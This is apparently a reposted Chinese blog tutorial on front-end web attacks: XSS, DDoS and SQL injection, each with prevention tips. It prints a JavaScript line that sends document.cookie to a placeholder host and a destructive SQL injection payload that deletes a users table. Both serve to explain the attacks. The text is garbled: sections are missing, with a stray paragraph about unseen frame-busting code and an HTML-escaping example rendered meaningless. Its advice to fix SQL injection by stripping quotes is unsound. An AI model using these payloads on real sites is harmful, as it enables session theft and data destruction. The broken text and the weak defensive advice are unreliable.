1. XSS
Cross Site Scripting 跨站点脚本攻击。它的特点是尽一起办法在目标网站上执行非目标网站上原有的脚本。
- 手段:黑客将 JS 代码插入到网页内容中,渲染时执行 JS 代码。
- 预防:特殊字符替换。
在网站上动态渲染任意 HTML 是非常危险的,因为容易导致 XSS 攻击。确保将特殊字符进行转换。
如下例子:
let img = document.createElement(“image”); img.src = ‘https://host/api?cookie‘ + document.cookie;
img 元素一旦附上 src 属性就会发送 HTTP 请求,这时候就把本网站的 Cookie 传到了黑客自己的服务器了,就可以控制用户在被攻击网站上的账号权限了。
预防就是将特殊符号替换,比如将 > 替换成 >,< 替换成 < ,这样
上面代码首先设置了整个页面不可见,随后检测页面是否被内嵌。如果没有被内嵌,则移除设置页面不可见的样式,否则把顶层页面的地址设置为内嵌页面的地址,从而阻止了页面的内嵌。
4. DDos
Distribute denial-of-service 分布式拒绝服务。
- 手段:分布式、大规模的流量访问,使服务器瘫痪。
- 预防:软件层不好做,需要硬件预防。
比如黑客散播了一个病毒程序,植入很多人的手机,使这些人的手机同时去访问某一网站,致使服务瘫痪。
可以通过硬件手段,比如使用阿里云的 WAF(web application firewall),用于防注入和控制机器人流量。
5. SQL 注入
- 手段:黑客提交内容时写入 SQL 语句,破环数据库。
- 预防:避免传输特殊字符,处理特殊字符,替换特殊字符。
SQL 注入虽然是后端处理的安全问题,但是问题出自前端,是因为用户输入了特殊字符,和前端也有关系。
5.1. 避免传输特殊字符
用户输入给了攻击者可乘之机,在输入的时候添加必要的校验和过滤即可。具体就是针对用户输入进行 HTML 编码、HTML 标签属性编码、JavaScript 编码、URL 编码。比如使用函数 encodeURL 对 RRL 编码。
5.2. 替换特殊字符
比如 SQL 语句,用于查询一个用户:
select * from users where username=’zhangsan’ and pword=’123′
假设前端提交的用户名不是正常的字符,而是 SQL 语句,比如:
‘; delete from users; —
则上面的查询语句变为:
select * from users where username=”; delete from users; –‘ and pword=’123’
这就变成了三条 SQL 语句,第一条查询所有用户名为空的用户,第二条删除 users 表,第三条后面的语句被注释了。
将上面单引号删掉,– 删掉,就变成:select * from users where username=’; delete from users; ‘ and pword=’123’,查询的用户名是:; delete from users; 虽然查不到这样的用户,但不会有安全问题。
原文地址:http://www.cnblogs.com/guojiabing/p/16789697.html